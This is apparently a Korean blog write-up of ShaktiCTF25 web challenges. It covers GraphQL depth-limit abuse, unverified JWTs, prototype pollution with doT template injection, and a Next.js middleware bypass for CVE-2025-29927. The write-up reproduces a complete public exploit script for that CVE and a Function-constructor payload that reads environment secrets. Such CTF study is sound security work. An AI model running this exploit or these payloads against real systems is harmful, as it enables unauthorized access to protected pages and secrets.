Login to ShaktiCTF25
Forgot Password?Reset Now
ctf.teamshakti.in
Friends
I'm not good with hiding things... can I interest you with a secretFlag?
const express = require("express");
const { graphqlHTTP } = require("express-graphql");
const {
GraphQLObjectType,
GraphQLSchema,
GraphQLID,
GraphQLString,
GraphQLList,
} = require("graphql");
const rateLimit = require("express-rate-limit");
const depthLimit = require("graphql-depth-limit");
const path = require("path");
const app = express();
const limiter = rateLimit({ windowMs: 60 * 1000, max: 10 });
app.use(limiter);
app.use(express.static(path.join(__dirname, "public")));
const users = [
{ id: "1", name: "Monica", friends: ["2", "3"] }, //other fields may exist
{ id: "2", name: "Rachel", friends: ["4"] },
{ id: "3", name: "Ross", friends: ["5"] },
{ id: "4", name: "Phoebe", friends: ["6"] },
{ id: "5", name: "Joey", friends: ["6"] },
{ id: "6", name: "Chandler", friends: [] }
];
const getUserById = (id) => users.find((u) => u.id === id);
const noIntrospectionRule = (context) => ({
Field(node) {
if (node.name.value === "__schema" || node.name.value === "__type") {
throw new Error("Introspection is disabled");
}
},
});
const UserType = new GraphQLObjectType({
name: "User",
fields: () => ({
id: { type: GraphQLID },
name: { type: GraphQLString },
friends: {
type: GraphQLList(UserType),
resolve: (user, args, context) => {
context.traversedFromFriendChain = true;
return user.friends.map(getUserById);
},
}
// other fields may exist...
}),
});
const QueryType = new GraphQLObjectType({
name: "Query",
fields: {
me: { type: UserType, resolve: () => getUserById("1") },
user: {
type: UserType,
args: { id: { type: GraphQLID } },
resolve: (_, { id }) => getUserById(id),
},
},
});
const schema = new GraphQLSchema({ query: QueryType });
app.use(
"/graphql",
graphqlHTTP((req) => ({
schema,
graphiql: true,
validationRules: [depthLimit(3), noIntrospectionRule],
context: {},
}))
);
app.listen(1337, () => console.log("App running on port 1337"));
GraphQL 문제이고, __type,__schema 사용이 불가해서 구조 확인을 불가함.
대신 문제에서 secretFlag를 찾으라고 해서 요청 시 에러가 아닌 null이 나왔기에, 컬럼이 존재하는 것을 확인.
depth가 3까지 허용되어 있으나 이걸 우회해야 flag를 얻을 수 있음.
게싱으로 depth 3까지 걸어두고 테스트했고, flag얻음
PoC
query {
user(id:2) {
name
friends {
name
secretFlag
friends {
name
secretFlag
}
}
secretFlag
}
}
{
"data": {
"user": {
"name": "Rachel",
"friends": [
{
"name": "Phoebe",
"secretFlag": null,
"friends": [
{
"name": "Chandler",
"secretFlag": "shaktictf{monica_doesnt_know_this_one}"
}
]
}
],
"secretFlag": null
}
}
}
hooman
jwt 문제이고, sign 검증이 없기에 여기서 취약점이 나올것으로 예상
from flask import Flask, request, redirect, render_template, make_response
import jwt
app = Flask(__name__)
SECRET_KEY = 'Youcanneverhavethis'
@app.route('/login', methods=['POST', 'GET'])
def login():
error = None
if request.method == 'POST':
data = request.json if request.is_json else request.form
username = data.get('username')
if not username:
error = 'Username required'
return render_template('login.html', error=error)
token = jwt.encode({'username': username, 'are_you_hooman': False}, SECRET_KEY, algorithm='HS256')
resp = make_response(redirect('/login'))
resp.set_cookie('token', token)
return resp
else:
token = request.cookies.get('token')
if token:
try:
decoded = jwt.decode(token, key=None,options={"verify_signature": False})
if decoded.get('are_you_hooman'):
return redirect('/hooman')
error = "Nah, you ain't hooman T^T"
except jwt.InvalidTokenError:
error = "Invalid token"
return render_template('login.html', error=error)
@app.route('/hooman')
def hooman():
token = request.cookies.get('token')
if not token:
return 'No token provided', 401
try:
decoded = jwt.decode(token, key=None,options={"verify_signature": False})
if decoded.get('are_you_hooman'):
return '''
<html>
<head><title>Hooman</title></head>
<body style="background-color: #333; color: #f0f0f0; font-family: Arial; display: flex; justify-content: center; align-items: center; height: 100vh;">
<h1>Hiii hoomann a message for ya! shaktictf{f4k3_fl4g}</h1>
</body>
</html>
'''
return 'Nah, you ain\'t hooman T^T', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
if __name__ == '__main__':
app.run(host="0.0.0.0",port=5000)
jwt를 변조해서 던지면 바로 나옴
templateception
when templates process templates.. things can get weird :(
require('dotenv').config();
const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs-extra');
const path = require('path');
const _ = require('lodash');
const doT = require('dot');
const app = express();
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
app.use(express.static(path.join(__dirname, 'public')));
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self'; style-src 'self'; connect-src 'none';");
next();
});
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
const TEMPLATES_DIR = path.join(__dirname, 'templates');
fs.ensureDirSync(TEMPLATES_DIR);
app.get('/', (req, res) => {
res.render('index');
});
app.post('/upload', async (req, res) => {
try {
const { filename, template, config } = req.body;
if (!filename || !template || !config) {
return res.status(400).render('upload', { error: 'Missing fields', link: null });
}
// Vulnerable merge
const polluted = _.merge({}, config);
const filePath = path.join(TEMPLATES_DIR, filename);
await fs.writeFile(filePath, template);
res.render('upload', { error: null, link: `/render/${filename}` });
} catch (err) {
res.status(500).render('upload', { error: err.message, link: null });
}
});
app.get('/render/:file', async (req, res) => {
const file = req.params.file;
const filePath = path.join(TEMPLATES_DIR, file);
if (!fs.existsSync(filePath)) {
return res.status(404).render('rendered', { output: 'Template not found', flag: '' });
}
try {
const raw = await fs.readFile(filePath, 'utf-8');
const compiled = doT.template(raw);
// Build context
const flag = process.env.FLAG || 'flag{missing}';
const context = { name: 'CTF Player' };
const output = compiled(context);
res.render('rendered', { output, flag });
} catch (err) {
res.status(500).render('rendered', { output: 'Render error: ' + err.message, flag: '' });
}
});
app.listen(1337, () => console.log('challenge running on http://localhost:1337'));
upload에 merge랑 polluted있는거 보고 프로토타입 폴루션 생각했고,
config에서 merge를 하기 때문에 config에 폴루션 페이로드 주입함
template에서 dot으로 컴파일되기 때문에 이안에 process.env.FLAG를 리턴하도록 설정함
templateception
Description
when templates process templates.. things can get weird :(
Flag is in FLAG
미들웨어 코드에서 설정오류가 있어서, 쿠키 설정이 불가하다.
import { NextResponse } from 'next/server'
import { cookies } from 'next/headers'
const protectedRoutes = ['/admin']
const publicRoutes = ['/login', '/']
export default async function middleware(req) {
const cookieStore = await cookies()
const path = req.nextUrl.pathname
const isProtectedRoute = protectedRoutes.includes(path)
const isPublicRoute = publicRoutes.includes(path)
const admin = cookieStore.get('admin')
if (isProtectedRoute && admin?.value!= 'dummy') {
return NextResponse.redirect(new URL('/login', req.nextUrl))
}
return NextResponse.next()
}
export const config = {
matcher: ['/((?!api|_next/static|_next/image|.*\\.png$).*)'],
}
그래서 미들웨어 취약점 문제겠구나 싶어서 찾았고 직접 admin 쿠키 만들어서 넣어주고, 경로에 /, ?, . 등을 넣어주면서 307 리다이렉트 우회를 시도했는데, 안되었다.
보통 이럴 때 버전 정보가 있으면 CVE문제라서 CVE를 찾아봤고, CVE-2025-29927을 찾았다.
https://www.cve.org/CVERecord?id=CVE-2025-29927
exploit
#!/usr/bin/env python3
# Exploit Title: Next.js - Authorization Bypass
# Date: 04/14/2025
# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)
# Vendor Homepage: https://nextjs.org/
# Software Link: https://github.com/vercel/next.js/
# Version: 15.0.0 - 15.2.2, 14.0.0 - 14.2.24, 13.0.0 - 13.5.8, 11.1.4 - 12.3.4
# Tested on: Next.js Version 13.5.6
# CVE: CVE-2025-29927
# Source: https://github.com/UNICORDev/exploit-CVE-2025-29927
# Description: In vulnerable Next.js versions, it is possible to bypass authorization checks within an application, if the authorization check occurs in middleware, by sending requests which contain the `x-middleware-subrequest` header. This exploit assesses a target's Next.js version and sends various specially crafted headers to achieve middleware bypass.
class color:
red = "\033[91m"
gold = "\033[93m"
blue = "\033[36m"
green = "\033[92m"
no = "\033[0m"
# Imports
try:
import re
import sys
import argparse
import requests
from urllib.parse import urlparse
except:
print(
f"{color.blue}DEPENDS: {color.red}Missing dependency. Try: {color.gold}pip install requests{color.no}"
)
exit()
# Print UNICORD ASCII Art
def UNICORD_ASCII():
print(
rf"""
{color.red} _ __,~~~{color.gold}/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no}
{color.red} ,~~`( )_( )-\| {color.blue}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{color.no}
{color.red} |/| `--. {color.blue}/ /_/ / // // /__/ /_/ / , _/ // /{color.no}
{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}
"""
)
# Print exploit help menu
def help():
print(
r"""UNICORD Exploit for CVE-2025-29927 (Next.js) - Authorization Bypass
Usage:
python3 exploit-CVE-2025-29927.py -u <target-url>
python3 exploit-CVE-2025-29927.py -u <target-url> [-v <version>] [-m <middleware>]
python3 exploit-CVE-2025-29927.py -h
Options:
-u Target URL to check and exploit
-v Specify Next.js version if known (e.g., 15.2.0) [Optional]
-m Specify middleware file name/location if known (e.g. src/middleware) [Optional]
-h Show this help menu.
"""
)
def is_vulnerable(version):
# Parse the version string
parts = version.split(".")
major = int(parts[0])
minor = int(parts[1])
patch = int(parts[2])
# Define the version ranges
ranges = [
# Next.js Versions 15.0.0 - 15.2.2
(15, 0, 0, 15, 2, 2),
# Next.js Versions 14.0.0 - 14.2.24
(14, 0, 0, 14, 2, 24),
# Next.js Versions 13.0.0 - 13.5.8
(13, 0, 0, 13, 5, 8),
# Next.js Versions 11.1.4 - 12.3.4
(11, 1, 4, 12, 3, 4),
]
# Check if the version is in any of the ranges
for (
range_min_major,
range_min_minor,
range_min_patch,
range_max_major,
range_max_minor,
range_max_patch,
) in ranges:
# Version is greater than or equal to min range
min_check = (
major > range_min_major
or (major == range_min_major and minor > range_min_minor)
or (
major == range_min_major
and minor == range_min_minor
and patch >= range_min_patch
)
)
# Version is less than or equal to max range
max_check = (
major < range_max_major
or (major == range_max_major and minor < range_max_minor)
or (
major == range_max_major
and minor == range_max_minor
and patch <= range_max_patch
)
)
if min_check and max_check:
return "Vulnerable"
return "Not Vulnerable"
# Run the exploit
def exploit(target_url, version=None, middleware=None):
UNICORD_ASCII()
print(
f"{color.blue}UNICORD: {color.red}Exploit for CVE-2025-29927 (Next.js) - Authorization Bypass{color.no}"
)
# Set default middleware if not provided
if middleware is None:
middleware = "middleware"
# Filter .js extentions from middleware
if middleware.endswith(".js") or middleware.endswith(".ts"):
middleware = middleware[:-3]
# Ensure URL has scheme
if not urlparse(target_url).scheme:
target_url = "https://" + target_url
print(f"{color.blue}TARGETS: {color.gold}{target_url}{color.no}")
session = requests.Session()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"
}
# Check if target is using Next.js
try:
response = session.get(
target_url, headers=headers, allow_redirects=True, timeout=10
)
except:
print(f"{color.blue}ERRORED: {color.red}Target is not reachable!{color.no}")
return
# Check for Next.js markers in response headers and body
next_js_headers = [
"x-nextjs-page",
"x-nextjs-render",
"x-nextjs-data",
"x-middleware-next",
"x-middleware-rewrite",
"x-nextjs-rewrite",
"x-nextjs-redirect",
]
has_next_js_headers = any(header in response.headers for header in next_js_headers)
has_next_js_script = re.search(r"/_next/static/", response.text) is not None
has_next_build_id = re.search(r"/__NEXT_DATA__", response.text) is not None
if not (has_next_js_headers or has_next_js_script or has_next_build_id):
print(
f"{color.blue}ERRORED: {color.red}Target is not running Next.js!{color.no}"
)
return
else:
print(f"{color.blue}PREPARE: {color.gold}Target is running Next.js!{color.no}")
# Try to detect Next.js version if not specified
if not version:
print(
f"{color.blue}LOADING: {color.gold}Detecting Next.js version with Selenium...{color.no}"
)
try:
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
except:
print(
f"{color.blue}DEPENDS: {color.red}Missing dependency. Try: {color.gold}pip install selenium{color.no}"
)
exit()
# Set up Chrome options
chrome_options = Options()
chrome_options.add_experimental_option("excludeSwitches", ["enable-logging"])
chrome_options.add_argument("--headless")
chrome_options.set_capability("browserVersion", "117")
chrome_options.add_argument("--no-sandbox")
chrome_options.add_argument("--log-level=3")
# Initialize the driver
driver = webdriver.Chrome(options=chrome_options)
# Navigate to the website you want to check
driver.get(target_url)
# Try to detect Next.js version
version = driver.execute_script("return next.version")
# Clean up
driver.quit()
if version:
print(
f"{color.blue}VERSION: {color.gold}Target is running Next.js version {version} ({is_vulnerable(version)}){color.no}"
)
else:
print(
f"{color.blue}VERSION: {color.gold}Could not determine Next.js version, trying all exploit vectors{color.no}"
)
else:
print(
f"{color.blue}VERSION: {color.gold}Targeting Next.js version {version} ({is_vulnerable(version)}){color.no}"
)
# Get baseline response
baseline_response = session.get(
target_url, headers=headers, allow_redirects=True, timeout=10
)
baseline_status = baseline_response.status_code
baseline_length = len(baseline_response.content)
baseline_url = baseline_response.url
# Define exploit vectors based on Next.js versions
exploit_vectors = [
# Version 13+ with recursion depth check - most modern
{
"X-Middleware-Subrequest": f"{middleware}:{middleware}:{middleware}:{middleware}:{middleware}"
},
# Version 13+ with src directory
{
"X-Middleware-Subrequest": "src/middleware:src/middleware:src/middleware:src/middleware:src/middleware"
},
# Version 12.2-13
{"X-Middleware-Subrequest": f"{middleware}"},
# Version 12.2-13 with src directory
{"X-Middleware-Subrequest": "src/middleware"},
# Version pre-12.2
{"X-Middleware-Subrequest": "pages/_middleware"},
# Most comprehensive payload
{"X-Middleware-Subrequest": "src/middleware:middleware:pages/_middleware"},
]
# Refine vectors based on version if provided
if version:
major_version = (
int(version.split(".")[0]) if version and "." in version else None
)
if major_version:
if major_version >= 15 or major_version == 14:
exploit_vectors = exploit_vectors[:2] # Modern recursion depth vectors
elif major_version == 13:
exploit_vectors = exploit_vectors[:4] # Modern + older vectors
elif major_version == 12:
exploit_vectors = exploit_vectors[2:5] # Mid-era vectors
elif major_version == 11:
exploit_vectors = exploit_vectors[4:6] # Oldest vectors
# Try each exploit vector
for i, exploit_header in enumerate(exploit_vectors):
print(
f"\n{color.blue}PAYLOAD: {color.gold}" + str(exploit_header) + f"{color.no}"
)
try:
exploit_response = session.get(
target_url,
headers={**headers, **exploit_header},
allow_redirects=True,
timeout=10,
)
except:
print(f"{color.blue}ERRORED: {color.red}Target is not reachable!{color.no}")
return
exploit_status = exploit_response.status_code
exploit_length = len(exploit_response.content)
exploit_url = exploit_response.url
print(f"{color.blue}EXPLOIT: {color.gold}Payload sent!{color.no}")
# Check if exploitation succeeded
# Success indicators: status code change, content length difference, different URL after redirect
if (
(exploit_status != baseline_status and exploit_status == 200)
or (abs(exploit_length - baseline_length) > 50)
or (exploit_url != baseline_url and baseline_status in [301, 302, 307])
):
print(
f"{color.blue}SUCCESS: {color.green}Authorization bypass header found!{color.no}"
)
# Save successful response to file
filename = (
f"nextjs_bypass_{urlparse(target_url).netloc.replace(':', '_')}.html"
)
with open(filename, "wb") as f:
f.write(exploit_response.content)
print(
f"{color.blue}OUTPUTS: {color.gold}Response written to file: {filename}{color.no}"
)
# Output reproduction commands
curl_cmd = f'curl -i -k "{target_url}" -H "{list(exploit_header.keys())[0]}: {list(exploit_header.values())[0]}"'
print(f"{color.blue}REQUEST: {color.gold}{curl_cmd}{color.no}")
return
else:
print(
f"{color.blue}FAILURE: {color.red}Authorization bypass header failed.{color.no}"
)
print(
f"{color.blue}ERRORED: {color.red}Exploitation failed! Target may not be vulnerable.{color.no}"
)
return
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Next.js Middleware Authorization Bypass (CVE-2025-29927) Detector",
add_help=False,
)
parser.add_argument("-u", "--url", help="Target URL to check and exploit")
parser.add_argument(
"-v", "--version", help="Specify Next.js version if known (e.g., 15.2.0)"
)
parser.add_argument(
"-m", "--middleware", help="Specify middleware file name/location"
)
parser.add_argument("-h", "--help", action="store_true", help="Show help menu")
args = parser.parse_args()
if args.help or len(sys.argv) == 1:
help()
elif args.url:
exploit(args.url, args.version, args.middleware)
else:
help()
익스플로잇 실행 결과, X-Middleware-Subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware 이 헤더에 취약했고, Flag가 나왔다.
templateception-revenge
Description
We are back again with the revenge! when templates process templates.. things can get weird :( Flag is in FLAG
이번에 아까 문제랑 같지만 SSTI를 섞어줘야 하는 문제이다. 조금 시행착오가 있었고, 900점짜리 문제라서 난이도가 있었던 것 같다.
아까처럼 flag를 찍어주면 undefined가 나와서 실제로 flag가 안나왔다.
template 안에 {{=it.constructor.constructor("return process.env.FLAG")()}} 를 사용해 Function constructor를 통한 sandbox 우회를 시도했다.
require('dotenv').config();
const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs-extra');
const path = require('path');
const _ = require('lodash');
const doT = require('dot');
const app = express();
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
app.use(express.static(path.join(__dirname, 'public')));
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self'; style-src 'self'; connect-src 'none';");
next();
});
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
const TEMPLATES_DIR = path.join(__dirname, 'templates');
fs.ensureDirSync(TEMPLATES_DIR);
app.get('/', (req, res) => {
res.render('index');
});
app.post('/upload', async (req, res) => {
try {
const { filename, template, config } = req.body;
if (!filename || !template || !config) {
return res.status(400).render('upload', { error: 'Missing fields', link: null });
}
// Vulnerable merge
const polluted = _.merge({}, config);
const filePath = path.join(TEMPLATES_DIR, filename);
await fs.writeFile(filePath, template);
res.render('upload', { error: null, link: `/render/${filename}` });
} catch (err) {
res.status(500).render('upload', { error: err.message, link: null });
}
});
app.get('/render/:file', async (req, res) => {
const file = req.params.file;
const filePath = path.join(TEMPLATES_DIR, file);
if (!fs.existsSync(filePath)) {
return res.status(404).render('rendered', { output: 'Template not found', flag: '' });
}
try {
const raw = await fs.readFile(filePath, 'utf-8');
const compiled = doT.template(raw);
// Build context
const flag = process.env.FLAG || 'flag{missing}';
const context = { name: 'CTF Player' };
const output = compiled(context);
res.render('rendered', { output, flag });
} catch (err) {
res.status(500).render('rendered', { output: 'Render error: ' + err.message, flag: '' });
}
});
app.listen(1337, () => console.log('challenge running on http://localhost:1337'));
이런 문제고
'웹해킹 > CTF' 카테고리의 다른 글
GCHD CTF Web PoC - SSTI URL Health Check and Heapdump (0) | 2023.11.27 |
---|---|
UDCTF 2023 web Writeup (0) | 2023.11.05 |
CCE-2023 연습문제 풀이 - baby web (0) | 2023.06.06 |
BucketCTF 2023 SQLi-1 Writeup (0) | 2023.04.11 |
Wolve CTF 2023 zombie101 Writeup (0) | 2023.03.21 |